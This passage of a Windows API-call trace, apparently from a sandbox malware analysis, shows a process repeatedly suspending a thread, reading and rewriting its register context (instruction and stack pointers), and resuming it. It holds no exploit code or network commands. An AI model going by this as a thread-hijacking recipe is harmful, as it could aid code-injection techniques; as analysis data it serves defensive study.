hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0127.833] SuspendThread (hThread=0x100) returned 0x0 [0127.833] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f260, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd86ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0127.834] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f258, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0127.834] ResumeThread (hThread=0x100) returned 0x1 [0127.834] CloseHandle (hObject=0x100) returned 1 [0127.835] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0127.836] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0127.966] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.090] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0128.091] SuspendThread (hThread=0x100) returned 0x0 [0128.091] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f258, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd55500, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0128.094] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f250, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0128.095] ResumeThread (hThread=0x100) returned 0x1 [0128.096] CloseHandle (hObject=0x100) returned 1 [0128.096] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.223] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.330] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0128.446] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0128.447] SuspendThread (hThread=0x100) returned 0x0 [0128.447] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f220, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd59ffd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, 